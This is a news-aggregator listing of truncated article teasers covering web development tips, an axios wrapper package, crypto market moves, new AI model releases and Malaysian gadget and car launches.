    OnePixel, a Figma plugin for developers to verify builds match designs correctly. Perfect for mobile app development where pixel-perfect accuracy is crucial. Also useful for designers doing QA reviews on development work. What it does: Overlays your development screenshots on top of Figma designs Real-time pixel-perfect comparison with blend modes (normal, difference, multiply) Precise alignment tools and coordinate tracking Works even when screen heights don't match exactly (as long as viewport width is the same) Plugin works in both Design and Dev Mode in Figma Key features: As long as your design and build viewport widths match, you don't have to worry about resizing or adjusting your dev screen to design Multiple overlay styles: Normal, Difference, and Multiply blend modes Zoom in/out functionality with manual fit control for detailed inspection Arrow keys for 1px precision movement (Shift+arrow for 10px jumps) Floating coordinate panel shows exact pixel deviations Intuitive tutorial system to get you started quickly No more squinting at designs wondering "did I get this spacing right?" - now you can see exactly where your implementation differs from the original design. Figma Plugin OnePixel.dev  ( 6 min )
    [Boost]
    Blockchain Development Guide (ethers.js & web3.js): Building Tools to Track Early-Stage Crypto Presales and On-Chain Data CryptoS ・ Nov 7 #blockchain #development #presale #architecture  ( 6 min )
    LLMs Unchained: The Power of In-Model Cognitive Programs by Arvind Sundararajan
    LLMs Unchained: The Power of In-Model Cognitive Programs Tired of treating large language models as black boxes? Want to peek inside and understand how they arrive at their conclusions? What if you could guide their thinking process, step-by-step? Imagine a tiny, virtual computer living inside your LLM. This "in-model interpreter" executes simple programs, written in a minimal language, to guide the LLM's reasoning. This allows us to break down complex tasks into manageable steps, making the decision-making process transparent and controllable. This approach uses a specialized language, similar to early BASIC, to define explicit instructions. The LLM then acts as the CPU, executing these instructions within its neural network. A set of rules, or the "interpreter", defines how each comman…  ( 7 min )
    强制浏览器 reflow(重排)
    访问某些布局相关属性(offsetLeft / offsetTop / offsetWidth / clientWidth / getComputedStyle 等)会让浏览器 强制刷新布局,以便获得一个最新、真实的数值。 浏览器为了性能会进行 layout(重排) 和 paint(重绘) 的优化: 不会每次 DOM 改变就立即计算布局 会等待、合并多个 DOM 改动 等到下一帧(约 16ms),统一执行布局计算 但是!当 JS 访问某些属性时,浏览器 必须 给出确切数值! indicator.offsetLeft offsetLeft 是个 布局属性(layout property) 因此浏览器会: 立即执行 layout(重排) 更新所有 layout 相关计算 返回最新的 offsetLeft 值 这称为: 属性 会强制 Reflow offsetLeft / offsetTop ✔ offsetWidth / offsetHeight ✔ scrollWidth / scrollHeight ✔ clientWidth / clientHeight ✔ getBoundingClientRect() ✔ getComputedStyle() ✔ 最典型的代码: element.classList.remove("animate"); void element.offsetWidth; // 强制 reflow element.classList.add("animate"); 这能让 CSS 动画从头开始执行。 为什么? 移除类 → 动画属性被移除,但浏览器还没计算布局 强制 reflow → 浏览器计算新的布局 再添加类 → 动画重新触发 如果没有 reflow,浏览器可能把两次操作合并,导致动画 不重新触发。  ( 6 min )
    transition、组合选择器、.parentNode、.classList
    transition transition 用来在两个 CSS 状态之间平滑过渡 transition: ; transition-property:要过渡的属性(如 width、opacity、transform 或 all)。 transition-duration:过渡耗时,必需的(如 0.3s、200ms)。 transition-timing-function:速度曲线(ease、linear、cubic-bezier(...)、steps(...))。 transition-delay:延迟开始时间(如 0.1s)。 示例 .box { transition: transform 300ms ease-in-out 50ms; } 数值(width、height、opacity、margin 等) 颜色(background-color) 变换(transform) 以及其它明确可插值的属性。 linear:匀速 ease:默认(慢 — 快 — 慢) ease-in:慢到快(起始慢) ease-out:快到慢(结束慢) ease-in-out:两头慢,中间快 .happy-fishing-indicator.red { ... } 它等于选择: class 里同时包含 必须满足: Hello ... { btn.parentNode.remove(); }; 父节点删除 → 整个子节点一起删除。 找到上层结构(如卡片、列表项) const btn = document.querySelector('.close-btn'); btn.addEventListener('click', () => { const card = btn.parentNode; // 卡片容器 card.classList.add('hidden'); }); .classList 是 DOM 元素的一个属性,返回一个类似数组的 DOMTokenList 对象,用来操作元素的 CSS class。 add() el.classList.add('active'); el.classList.add('a', 'b', 'c'); // 一次添加多个 如果已经存在,不会重复添加。 remove() el.classList.remove('active'); el.classList.remove('a', 'b', 'c'); 不存在也不会报错。 toggle() el.classList.toggle('active'); 可传第二个参数: el.classList.toggle('open', true); // 强制添加 el.classList.toggle('open', false); // 强制删除 这在需要“强制状态”非常有用。 contains() if (el.classList.contains('selected')) { //... } 返回 true / false。 replace() el.classList.replace('old', 'new'); 相比 remove + add 更简洁。  ( 6 min )
    Stop Struggling with Axios! My First NPM Package "axios-fluent" Solves 3 Major Pain Points
    Introduction Do you experience this every time you write HTTP requests? // Configuration is too complex... const response = await axios.post('https://api.example.com/users', data, { headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${token}` }, timeout: 5000, httpsAgent: new https.Agent({ rejectUnauthorized: false // Writing this for self-signed certificates every time... }) }); const user = response.data; // Why do I need to write .data every single time? // Error handling is a nightmare try { await axios.get('/api/data'); } catch (error) { // error.response?.data?.message? error.response?.status? error.config?.url? // Always checking docs to find where things are... console.log('Status:', error.response?.status); console.log('Mes…  ( 11 min )
    Music Monday (Anything goes!)
    Happy Monday! What have been listening to? Anything goes! Drop a YouTube, Bandcamp, SoundCloud, or Spotify {% embed %} in the comments.  ( 6 min )
    Stop Coding, Start Managing: A First Look at Google's AntiGravity IDE 🚀
    TL;DR: I took Google's new agentic IDE, AntiGravity, for a spin. It shifts the workflow from writing code to managing asynchronous agents. In this post, I break down how I built a Stock Dividend Tracker using Google Antigravity and Gemini 3, parallel task execution, and the tool's really cool feature: verifiable screen recordings. The biggest difference in AntiGravity is the interface. While it has a traditional code editor (VS Code style) on the left, the right side is dominated by the Agent Manager. Think of the Agent Manager as an autonomous coding engine. Instead of pair programming, you are assigning tasks. The Inbox: This is your command center. You spin up tasks and check your inbox for status updates. Modes: You can toggle between Planning Mode (for complex architecture) and Fast M…  ( 8 min )
    🔍 Observability Practices: A Practical Guide With Real-World Examples
    Modern software systems are more distributed, dynamic, and complex than ever. Microservices, serverless functions, containers, and event-driven architectures make traditional monitoring insufficient. observability. This article explains the foundational pillars of observability, best practices, common tools, and includes a hands-on real-world example using Grafana + Prometheus for metrics and ELK Stack for logs. Observability is the ability to understand the internal state of a system based solely on the data it produces, such as metrics, logs, and traces. Unlike classical monitoring, which answers “Is the system up?”, observability answers: Why is the system slow? Where is the latency coming from? Which dependency failed? What changed recently that caused errors? 1. Metrics Numeric meas…  ( 8 min )
    Why React Developers Are Moving to Next.js in 2025
    React has been the foundation of modern frontend development for years, but as applications grow, developers often need tools that go beyond a simple UI library. That’s where Next.js comes in. It builds on top of React and solves some of the framework’s biggest real-world challenges—performance, routing, SEO, and developer experience. In this post, I’ll break down why more React developers are shifting toward Next.js and why it might be the right move for your next project. React doesn’t include a router out of the box—you have to install react-router and configure everything yourself. /pages/index.js → Home No configuration. No boilerplate. Just create files and go. React apps are typically client-side rendered, which isn’t ideal for SEO and can slow down initial page load. SSR (getServerSideProps) SSG (getStaticProps) Incremental Static Regeneration App Router (Server Components) This makes dynamic apps feel faster and more SEO-friendly right out of the box. client-side rendered, which can slow down initial load times and weaken SEO. Next.js provides multiple rendering strategies: SSR (Server-Side Rendering) SSG (Static Site Generation) ISR (Incremental Static Regeneration) React Server Components via App Router This flexibility ensures better performance and significantly improved SEO. The Next.js App Router introduces a more modern and structured way to build applications: Server and Client Components Nested layouts Streaming + Suspense support Built-in SEO & metadata handling This architecture promotes cleaner code and better performance.  ( 6 min )
    The Ultimate Guide to AI-Powered Marketing Automation: Building Autonomous Systems That Convert
    The Ultimate Guide to AI-Powered Marketing Automation: Building Autonomous Systems That Convert Introduction: The Dawn of Autonomous Marketing The strategies outlined in the Test Marketing Book are already being adopted by leading product developers to significantly reduce launch risk. Learn more → The landscape of business is changing faster than ever, driven by two powerful forces: marketing automation and Artificial Intelligence (AI). For years, businesses have relied on automation to handle repetitive tasks—scheduling emails, posting social media updates, and segmenting basic lists. But true transformation requires moving beyond simple efficiency. It demands autonomy. This guide is not about setting up another drip campaign. It’s about building a self-optimizing, intellig…  ( 13 min )
    The Ultimate Guide to Autonomous Marketing: How AI, Automation, and Strategy Drive Exponential Growth
    The Ultimate Guide to Autonomous Marketing: How AI, Automation, and Strategy Drive Exponential Growth Introduction: The New Dawn of Marketing Efficiency The strategies outlined in the Test Marketing Book are already being implemented by leading startups to validate new product launches. Learn more → For decades, marketing has been a game of intuition, effort, and often, educated guesswork. We’ve chased trends, optimized campaigns manually, and spent countless hours analyzing data that was often outdated before the coffee got cold. But the rules have changed. We are standing at the precipice of a revolution—a shift from reactive, labor-intensive marketing to proactive, intelligent, and truly autonomous marketing. This isn't just about scheduling social media posts or setting u…  ( 13 min )
    Why I Stopped Sending Data to LLMs: Introducing "Zero-Data Transport" Architecture
    Why I Stopped Sending Data to LLMs: Introducing "Zero-Data Transport" Architecture The Problem with "Chat with your Data" Let's be honest: the standard approach to RAG (Retrieval-Augmented Generation) for structured data is broken. You know the drill: User asks a question -> You run a query -> You fetch 500 rows -> You stuff those 500 rows into the LLM context -> You pray it doesn't hallucinate (or go broke on token costs). I realized this wasn't scalable for Enterprise ERPs with huge schemas. So, I decided to flip the script. What if we never sent the data to the AI? I’ve been architecting ADA (Autonomous Data Agent), a system designed to solve the "Context Window" problem using a technique I call Zero-Data Transport. The concept is simple but powerful: treat data context li…  ( 7 min )
    What I Keep Finding When I Scan Small U.S. Municipal Websites (And How To Fix It In Under An Hour)
    I’ve spent the last few months poking at public websites that belong to small U.S. towns, school districts and counties. Not as an attacker, but as the guy who built a small open‑source scanner called CivicMeshFlow. Most of these sites sit on old PHP stacks and very tired CMS installs. Nobody gets promoted for "fixing security headers", and budgets are usually eaten by whatever crisis is happening this month. Still, these sites handle real people’s data. So I started running systematic scans, keeping notes as I went. Very quickly a pattern showed up: different vendors, different designs, but the same security mistakes repeating everywhere. This post is basically my field notes. If you’re responsible for a public‑facing municipal site and only have an hour here and there, this should give y…  ( 10 min )
    How to add html file in arkts project
    Read the original article:How to add html file in arkts project Introduction ArkWeb provides Web components to display web page content in applications. You can use the components in the following scenarios: Web page integration: Applications can use Web components to embed web page content to reduce development costs and improve development and operation efficiency. Web browsing: Browser applications can use Web components to open third-party web pages, browse web pages in traceless mode, and set advertisement blocking. Applet: Host applications of applets can use Web components to render the pages of the applets. Features ArkWeb is a multi-process model, which consists of the application process, Web rendering process, Web GPU process, Web incubation process, and Foundation process. Note…  ( 9 min )
    AI Girlfriend in 2025 vs. 2030: What Happens When She Finally Gets a Real Body?
    Honestly, 2025 is already insane enough. Platforms like Character AI and Pollybuzz are absolutely exploding. Millions of people around the world wake up and the first thing they say is “good morning” to their AI girlfriend, then spend three hours before bed doing steamy voice role-play that’s somehow more addictive than actual dating. But give it another five years? That exact same “she” might literally walk through your door, steal the blanket, and roast you for leaving dishes in the sink again. Here’s the comparison literally no one is ready for. Form: Phone, tablet, or at best a tiny holographic figure on your desk. Touch: None whatsoever. You send a heart emoji, your phone vibrates twice, and you both pretend that was her holding your hand. Memory: Perfect. She remembers the name of th…  ( 8 min )
    Can we use Rust to Develop Extensions for PostgreSQL?
    Although it has been a while since the event, I am sharing the full transcript of my talk from POSETTE 2025. Please note that some information may be outdated as time has passed. Additionally, the Call for Proposals (CFP) for POSETTE 2026 is now open. Let's make the next POSETTE a great success together! Slides: YouTube: Can We Use Rust to Develop Extensions for PostgreSQL? #1 Hello everyone. Today, I will talk about Postgres extensions. Here we go. Let me introduce myself a little bit. I specialize in Postgres, offering technical support, conducting R&D, contributing to the Postgres project, and maintaining two key extensions: pg_bulkload and pg_rman. To begin, can we use Rust to develop extensions for PostgreSQL? Yes, we can. However, getting started with Postgr…  ( 14 min )
    Announcing SvelteKit OG v4: An alternative to @vercel/og for sveltekit
    Introduction We're thrilled to announce the official release of @ethercorps/sveltekit-og@v4! This major version represents a complete architectural overhaul focused on delivering uncompromising stability, simplifying the developer API, and providing the tools needed for robust, high-performance image generation across all Javascript runtimes. This release introduces powerful new features that eliminate manual steps and complex workarounds. I learnt a lot while fixing @ethercorps/sveltekit-og like wasm issue, runtime issues and developer experience with typescript. Docs Source Examples With v4, we focused on fixing issues related to runtime and fonts. We are happy with the results and I hope it makes you happy too. The core architecture was rebuilt to ensure cross-runtime reliability, res…  ( 9 min )
    Unlocking Soccer Secrets: AI-Powered Play Analysis from Broadcast Footage by Arvind Sundararajan
    Unlocking Soccer Secrets: AI-Powered Play Analysis from Broadcast Footage \Imagine trying to decipher the complex strategies of a soccer match just by watching the broadcast. It's like trying to understand a symphony by only hearing individual instruments – you miss the overall harmony. Current AI struggles to reliably extract play-by-play data from video, hindering deeper tactical insights. But what if AI could understand the 'why' behind every pass, every tackle, every run? The key lies in combining computer vision with tactical understanding. Imagine a system that not only recognizes player actions but also interprets them within the context of the game's strategic flow. This new approach uses 'tactical priors' – knowledge of common formations, player roles, and strategic patterns – t…  ( 7 min )
    When Heaven Comes at Midnight: A Deep Journey Through John Chapter 3
    Some chapters of Scripture open like a door you walk through. It is quiet. The crowds have gone home. His name is Nicodemus — a Pharisee, a ruler of the Jews, a scholar, an expert, a man respected for his discipline and admired for his mastery of the Law. He knows the Torah. He keeps the traditions. He guards the boundaries. He understands the system, because he is the system. And yet, something inside him is unsettled. Something in him has begun to ache. Something in him has heard the footsteps of God moving through the streets of Judea, and he cannot go to sleep until he understands the voice behind the miracles. So he chooses the one hour no one is watching. He goes at night. Not because he is weak. And there, under the cloak of darkness, Nicodemus meets the Light of the world. The enco…  ( 19 min )
    Speed up your Laravel development using CRUD Templates
    Hi Laravel developers! I've recently created a new package designed to radically speed up your Laravel application development by generating routes, controllers, models, migrations, factories, requests, resources, and tests - all using a single command. Let's generate a complete CRUD API for the Post model: php artisan crud:generate Content/Post \ --template=api \ --fields="title:string,content:text,published_at:datetime,category:belongsTo,comments:hasMany,status:enum:PublishStatus" \ --options="scope:user" The above command generates the following fully functional files: app/Http/Controllers/Api/Content/PostController.php app/Models/Content/Post.php app/Policies/PostPolicy.php app/Http/Requests/Content/StorePostRequest.php app/Http/Requests/Content/UpdatePostRequest.php app/Http/Resources/Content/PostResource.php database/migrations/{timestamp}_create_posts_table.php database/migrations/{timestamp}_create_{pivot}_tables.php (if belongsToMany or morphToMany relationships are present) database/factories/Content/PostFactory.php tests/Feature/Api/Content/PostControllerTest.php API routes automatically added to routes/api.php (will run install:api if the file doesn't exist yet) Laravel Pint run on all generated files 🔗 Package: jcsoriano/laravel-crud-templates Documentation: laravelcrudtemplates.com GitHub: github.com/jcsoriano/laravel-crud-templates  ( 6 min )
    dev diary 20251123
    organizing app UI i organized the UI of application and then built menu button and slide bar to show user name, existing table and sign out all in one. i have to make policy of UI. button click, input text, font, color, and so on. if there is already some general policy in this field, i'll check it. i built almost the all coding with ai, so don't understand detail, i have to read and comprehend them. in order to make countermeasure at trouble shooting, or expand some function on them. i regard this front and backend code as basement and i wanna develop new application on it. this has basic CRUD function, list page and detail edit page, sidebar for menu.  ( 6 min )
  • Open

    XRP, SUI Lead Crypto Rebound as Bitcoin Tops $89K; Relief Rally Faces $100K Wall, Trader Says
    Traders now see a December rate cut increasingly likely, following fresh comments from San Francisco Fed President Mary Daly.
    Filecoin Rises 2% After Breaking $1.63 Resistance
    FIL broke out on heavy volume as technical momentum accelerated past critical threshold levels.
    Crypto Wallet Firm Exodus Buys Baanx and Monavate for $175M
    The U.S.-listed wallet provider is acquiring W3C Corp, the parent company of crypto card and payments firms Baanx and Monavate.
    TON Rallies 8% as Telegram Ecosystem Expands With AI Launch, Tokenized Stocks
    Recent developments include the launch of Confidential Compute Open Network (COCOON) and the integration of tokenized US stocks and digital collectibles.  ( 34 min )
    CME Crypto Futures Volume Hits Record 795K Contracts Amid Volatility
    A surge in institutional and retail demand has pushed CME’s crypto average daily volume up 132% year-over-year, with open interest climbing 82%.  ( 34 min )
    BNB Rebounds Above $860 After Testing Key Support
    The recovery lifted BNB above multiple resistance zones, but the relatively low volume behind the move may limit follow-through as traders watch the $870 level.  ( 34 min )
    Celestia’s TIA Token Rises as ‘Matcha’ Upgrade Preps Network for Cross-Chain Future
    The event is being called its biggest software upgrade yet, which boosts the network’s capacity and improves token economics.  ( 34 min )
    Stellar Climbs 3.5% to $0.25 as Technical Recovery Gains Momentum
    Network fundamentals improved alongside price action as token demonstrated resilience following recent consolidation period.  ( 34 min )
    HBAR Gains 2.4% From Major Support as Axelar Integration Drives DeFi Activity
    Volume surge validates advance despite token's underperformance versus broader crypto market rally.  ( 34 min )
    Franklin Templeton Joins XRP ETF Race, Calling It ‘Foundational’ to Global Finance
    With XRPZ debuting on NYSE Arca, Franklin becomes the latest financial heavyweight betting on crypto’s future in global payments.  ( 34 min )
    Crypto Market Mood Lifted as Amazon Pours $50B Into AI Infrastructure
    The price of bitcoin jumped back above $87,000 and crypto miners with a focus on AI/high-performance computing are surging.  ( 33 min )
    Rumble Gains 13% After Tether Boosts Stake by 1M Shares
    The advance occurred alongside a rally in data center and high-performance computing stocks.  ( 32 min )
    Monad’s MON Token Stumbles Out of the Gate in Trading Debut After Slow Token Sale
    Soft demand, low volume and concerns over token distribution weighed on early market sentiment.  ( 33 min )
    What Next for DOGE Price as Grayscale's GDOG ETF Debuts?
    The $0.1495 resistance level remains a significant barrier, while $0.144 serves as the last short-term support.  ( 36 min )
    Bitcoin’s $1T Rout Exposes Fragile Market Structure, Deutsche Bank Says
    The bitcoin price drop to $80,000 last week reflected a mix of macro pressure, fading regulatory momentum and thinning liquidity that has tested bitcoin’s maturity.  ( 34 min )
    XRP Slides to $2.08 as Grayscale’s GXRP ETF Debut Fails to Ignite Market
    Traders should watch for potential breakdowns below $2.03, which could lead to further declines toward $1.91.  ( 36 min )
    BitMine Immersion Added Nearly 70K Ether Last Week, Now Holding 3% of ETH Supply
    Tom Lee's company increased its crypto holdings last week despite sitting on around $4 billion in unrealized losses on its ETH bet.  ( 33 min )
    CoinDesk 20 Performance Update: Hedera (HBAR) Gains 11.3%, Leading the Index Higher
    Cronos (CRO) was also a top performer, rising 9.7% over the weekend.  ( 30 min )
    Monad Blockchain Goes Live With 100B Token Supply and Airdrop
    The total supply of MON is 100 billion tokens, with 10.8% currently unlocked and in circulation.  ( 33 min )
    Citigroup Warns of Bitcoin Halving-Season Chill as Prices Sink, ETF Outflows Grow
    Crypto is stuck in a second-year post-halving slump, with ETF outflows and jittery long-term holders pushing bitcoin toward the bank’s bear-case outlook.  ( 34 min )
    Investors Should Buy the Dip in Coinbase and Circle, Says William Blair
    The latest crypto slide has created an attractive entry point for the two companies' stocks, with core USDC and bitcoin theses still intact.  ( 34 min )
    Strategy Apparently Paused Bitcoin Accumulation Last Week
    The company's stock valuation sits near cycle lows as index exclusion chatter grows.  ( 33 min )
    Bitcoin Miners Cipher and CleanSpark Upgraded by JPMorgan as HPC Shift Accelerates
    The bank sees new upside for bitcoin miners as HPC partnerships reshape the sector.  ( 34 min )
    Upbit Seeking Nasdaq IPO Following Merger With Naver: Bloomberg
    The deal between Upbit and Naver was reported in September, with suggestions that the former's parent Dunamu would be brought under Naver's financial arm.  ( 32 min )
    Microcap Biotech Firm Raises $212M for Prediction Market Token Treasury Strategy
    Enlivex Therapeutics is raising $212 million to invest in RAIN, the token of a blockchain-based prediction market, which will become its main treasury reserve asset.  ( 34 min )
    Where Next?: Crypto Daybook Americas
    Your day-ahead look for Nov. 24, 2025  ( 39 min )
    Revolut Hits $75B Valuation in Fundraise Backed by Coatue, NVIDIA, Fidelity
    Revolut is growing its crypto offerings, including a recent partnership with Polygon Labs and a MiCA license to offer crypto services across Europe.  ( 34 min )
    Crypto Markets Today: Fear Dominates as Altcoins Lag, Bitcoin Tests Key Levels
    Bitcoin’s struggle to reclaim the $90,000 range leaves the broader crypto market vulnerable, with altcoins suffering sharp liquidity-driven underperformance.  ( 36 min )
    Bitcoin Longs on Bitfinex Jump 40% in Three Months as Traders Double Down on Dip
    Rising margin bitcoin longs show confidence despite bitcoins ongoing correction.  ( 33 min )
    ECB Doubles Down on Warning That Stablecoins Could Pose Global Financial Risks
    The EU’s central bank says stablecoins draw value from eurozone banks and could pose a risk to global financial stability.  ( 34 min )
    China Returns as Third Largest Bitcoin Mining Hub With a 14% Share: Reuters
    Underground activity expands as cheap power, miner demand and softer policy signals support a renewed mining push in key provinces in China.  ( 35 min )
    Animoca Brands Wins Initial Abu Dhabi Approval to Operate Regulated Fund
    Animoca Brands received in-principle approval from Abu Dhabi’s FSRA to operate as a regulated fund manager within ADGM.  ( 33 min )
    Grayscale Dogecoin, XRP Trusts Go Live, Cleanspark Earnings: Crypto Week Ahead
    Your look at what's coming in the week starting Nov. 24.  ( 36 min )
    Thai Crypto Exchange Bitkub Weighs Hong Kong IPO: Report
    Thailand-based Bitkub is considering an IPO in Hong Kong to raise approximately $200 million.  ( 33 min )
    $80K Bitcoin Put Now Most Popular Bet
    The $80K BTC put is now the most popular options play on Deribit.  ( 33 min )
    DOGE Beats the Blue Chips as D.O.G.E Calls it Quits
    DOGE – the memecoin – edged past the CoinDesk 20 and the CoinDesk memecoin index as the White House announced Elon Musk's government efficiency initiative is to shutter.  ( 33 min )
    Bitcoin ETFs, Led By BlackRock's IBIT, See Record $40B Trading Volume as Institutions Capitulate
    The U.S.-listed spot bitcoin ETFs saw a record $40 billion in trading volume last week, with IBIT leading the way.  ( 34 min )
  • Open

    Anthropic’s Claude Opus 4.5 is here: Cheaper AI, infinite chats, and coding skills that beat humans
    Anthropic released its most capable artificial intelligence model yet on Monday, slashing prices by roughly two-thirds while claiming state-of-the-art performance on software engineering tasks — a strategic move that intensifies the AI startup's competition with deep-pocketed rivals OpenAI and Google. The new model, Claude Opus 4.5, scored higher on Anthropic's most challenging internal engineering assessment than any human job candidate in the company's history, according to materials reviewed by VentureBeat. The result underscores both the rapidly advancing capabilities of AI systems and growing questions about how the technology will reshape white-collar professions. The Amazon-backed company is pricing Claude Opus 4.5 at $5 per million input tokens and $25 per million output tokens — a…
    How to avoid becoming an “AI-first” company with zero real AI usage
    Remember the first time you heard your company was going AI-first? Maybe it came through an all-hands that felt different from the others. The CEO said, “By Q3, every team should have integrated AI into their core workflows,” and the energy in the room (or on the Zoom) shifted. You saw a mix of excitement and anxiety ripple through the crowd. Maybe you were one of the curious ones. Maybe you’d already built a Python script that summarized customer feedback, saving your team three hours every week. Or maybe you’d stayed late one night just to see what would happen if you combined a dataset with a large language model (LLM) prompt. Maybe you’re one of those who’d already let curiosity lead you somewhere unexpected. But this announcement felt different because suddenly, what had been a quiet …
    Microsoft’s Fara-7B is a computer-use AI agent that rivals GPT-4o and works directly on your PC
    Microsoft has introduced Fara-7B, a new 7-billion parameter model designed to act as a Computer Use Agent (CUA) capable of performing complex tasks directly on a user’s device. Fara-7B sets new state-of-the-art results for its size, providing a way to build AI agents that don’t rely on massive, cloud-dependent models and can run on compact systems with lower latency and enhanced privacy. While the model is an experimental release, its architecture addresses a primary barrier to enterprise adoption: data security. Because Fara-7B is small enough to run locally, it allows users to automate sensitive workflows, such as managing internal accounts or processing sensitive company data, without that information ever leaving the device.  How Fara-7B sees the web Fara-7B is designed to navigate use…
  • Open

    How to Simplify Your React Components with Derived State
    React simplifies building user interfaces with hooks like useState for managing dynamic values. But it's common to overuse useState. This often leads to duplicated data and unnecessary complexity. For instance, you might store a full name in state wh...  ( 15 min )
  • Open

    The State of AI: Chatbot companions and the future of our privacy
    Welcome back to The State of AI, a new collaboration between the Financial Times and MIT Technology Review. Every Monday, writers from both publications debate one aspect of the generative AI revolution reshaping global power. In this week’s conversation MIT Technology Review’s senior reporter for features and investigations, Eileen Guo, and FT tech correspondent Melissa…  ( 27 min )
    What’s next for AlphaFold: A conversation with a Google DeepMind Nobel laureate
    In 2017, fresh off a PhD on theoretical chemistry, John Jumper heard rumors that Google DeepMind had moved on from building AI that played games with superhuman skill and was starting up a secret project to predict the structures of proteins. He applied for a job. Just three years later, Jumper celebrated a stunning win…  ( 31 min )
    The Download: how to fix a tractor, and living among conspiracy theorists
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Meet the man building a starter kit for civilization You live in a house you designed and built yourself. You rely on the sun for power, heat your home with a woodstove, and…  ( 21 min )
  • Open

    Quicknode Launches Support for Monad Mainnet
    Quicknode now supports Monad Mainnet, giving developers fast, reliable RPC access powered by parallel execution, high throughput, and enterprise-grade performance.  ( 5 min )
  • Open

    realme Buds Clip Goes Official For RM399
    Today, realme unveiled the GT 8 Pro as its newest flagship phone. Alongside the handset, the brand launched the realme Buds Clip, a pair of open-ear earbuds. As the company puts it, the lightweight buds feature an “innovative ear clip design” weighing 5.3g. The new audio accessory serves as realme’s first set of open-ear earbuds […] The post realme Buds Clip Goes Official For RM399 appeared first on Lowyat.NET.  ( 34 min )
    realme GT 8 Pro Hands On: Camera Chameleon
    The newly launched realme GT 8 Pro doesn’t waste time showing its intentions. It’s here to be the brand’s heavy-hitting flagship for the year, and it is stepping straight into the ring with the wave of Snapdragon 8 Elite Gen 5 devices landing before 2026. Of course, Qualcomm’s high-end chipset isn’t the phone’s only armament. […] The post realme GT 8 Pro Hands On: Camera Chameleon appeared first on Lowyat.NET.  ( 37 min )
    Honda Malaysia Teases Possible Debut Of 2026 Prelude
    Honda Malaysia may have teased the 2026 Prelude in a recent social media video, showing a quick glimpse of the rear and hinting at a possible local debut. Previously, the sports coupe was only displayed at KLIMs 2024. Back in September, the Honda Prelude was launched in Japan, where it is offered in two variants, […] The post Honda Malaysia Teases Possible Debut Of 2026 Prelude appeared first on Lowyat.NET.  ( 35 min )
    Ryt Bank Retains 4% p.a. Interest Rate; Introduces Rewards For December
    Back in August, YTL launched Ryt Bank as the nation’s first AI-powered digital bank. Among the perks introduced at launch include an interest rate of up to 4% per annum, which the bank has now decided to retain. Aside from that, the bank is offering new rewards and perks for its customers. Starting 1 December […] The post Ryt Bank Retains 4% p.a. Interest Rate; Introduces Rewards For December appeared first on Lowyat.NET.  ( 34 min )
    realme GT 8 Pro Launches In Malaysia; Starts From RM4,299
    realme has officially launched its GT 8 Pro flagship smartphone series in Malaysia, making it the latest addition to the growing list of Snapdragon 8 Elite Gen 5 devices available locally. Unlike the series’ initial debut in China back in October, it looks like we won’t be getting the non-Pro model here. Fortunately, given that […] The post realme GT 8 Pro Launches In Malaysia; Starts From RM4,299 appeared first on Lowyat.NET.  ( 36 min )
    Grab Rolls Out New Book Table Feature For Dining Out
    Grab Malaysia is rolling out a new Book Table feature, tailored for customers who want to Dine Out. In short, the app now allows you to make a reservation at participating restaurants via the Grab app. The function of Book Table is pretty much self-explanatory. You open the app, tap on the Dine Out option, […] The post Grab Rolls Out New Book Table Feature For Dining Out appeared first on Lowyat.NET.  ( 33 min )
    BYD Unveils Yangwang U9 Extreme; A 3,000hp Electric Hypercar
    BYD has officially previewed the Yangwang U9 Extreme at the ongoing 2025 Auto Guangzhou revealing that the electric hypercar is limited to just 30 units. The U9 Extreme has already made headlines by shattering records at the Automotive Testing Papenburg site and at the iconic Nürburgring track, reaching a top speed of 496.22 km/h. As […] The post BYD Unveils Yangwang U9 Extreme; A 3,000hp Electric Hypercar appeared first on Lowyat.NET.  ( 35 min )
    ASUS ROG Matrix GeForce RTX 5090 Landing This December In Malaysia
    The ASUS ROG Matrix GeForce RTX 5090 will be making its way to our shores this December. Announced back in August of this year, the card is the brand’s second souped-up version of NVIDIA’s flagship Blackwell GPU. Running through its specs quickly, the ROG Matrix RTX 5090 features 32GB GDDR7 graphics memory, along with a […] The post ASUS ROG Matrix GeForce RTX 5090 Landing This December In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    TNG Digital Extends Visa Travel Card Cashback Campaign To 31 December 2026
    Touch ‘n Go (TnG) eWallet operator TNG Digital has announced that it is extending the cashback campaign for the platform’s Visa Travel Card. Initially set to end by late 2025, the promotion will now end on 31 December 2026 – giving users another whole year to enjoy the benefits provided. Speaking of which, as revealed […] The post TNG Digital Extends Visa Travel Card Cashback Campaign To 31 December 2026 appeared first on Lowyat.NET.  ( 34 min )
    Jeep Unveils The Recon; First Fully Electric Trail-Rated SUV
    The off-roading marque Jeep has unveiled the fully electric Recon, which the brand claims is its only “Trail Rated” EV SUV. The model will be offered in two variants: the standard trim and Moab trim. Design-wise, the electric Recon features an illuminated seven-slot grille upfront, complemented by U-shaped daytime running lights and a full suite […] The post Jeep Unveils The Recon; First Fully Electric Trail-Rated SUV appeared first on Lowyat.NET.  ( 36 min )
    A Chinese Intern Quit Their Job Over An NVIDIA RTX 5060 They Won During A Business Trip
    A company in Shanghai, China recently came under fire over an ownership dispute between it and one of its interns – the latter won an NVIDIA GeForce RTX 5060 in a raffle event, which the former claims belongs to them, stating that the incident occurred on its dime. Here’s what happened: On 14 November, the […] The post A Chinese Intern Quit Their Job Over An NVIDIA RTX 5060 They Won During A Business Trip appeared first on Lowyat.NET.  ( 35 min )
    Warframe Android Closed Beta To Start 28 November
    Earlier this year, Digital Extremes announced that it will begin the Android Closed Beta for Warframe. At the time, there had been no confirmed date for the beta, with the developer only mentioning that it is coming this fall. Now, the company has announced that the Warframe Android Closed Beta will begin this week, on […] The post Warframe Android Closed Beta To Start 28 November appeared first on Lowyat.NET.  ( 34 min )
    US Government Floats Possibility Of Selling NVIDIA H200 AI Chips To China
    The US’ Trump administration is reportedly considering the possibility of allowing NVIDIA to sell its H200 AI chips to China. Supposedly, the consideration is being mulled over as a part of a bilateral detente to boost prospects for exports of advanced US technology to the Asian powerhouse. “The administration is committed to securing America’s global […] The post US Government Floats Possibility Of Selling NVIDIA H200 AI Chips To China appeared first on Lowyat.NET.  ( 34 min )
    Qualcomm Confirms Snapdragon Devices Will Support Quick Share-To-AirDrop
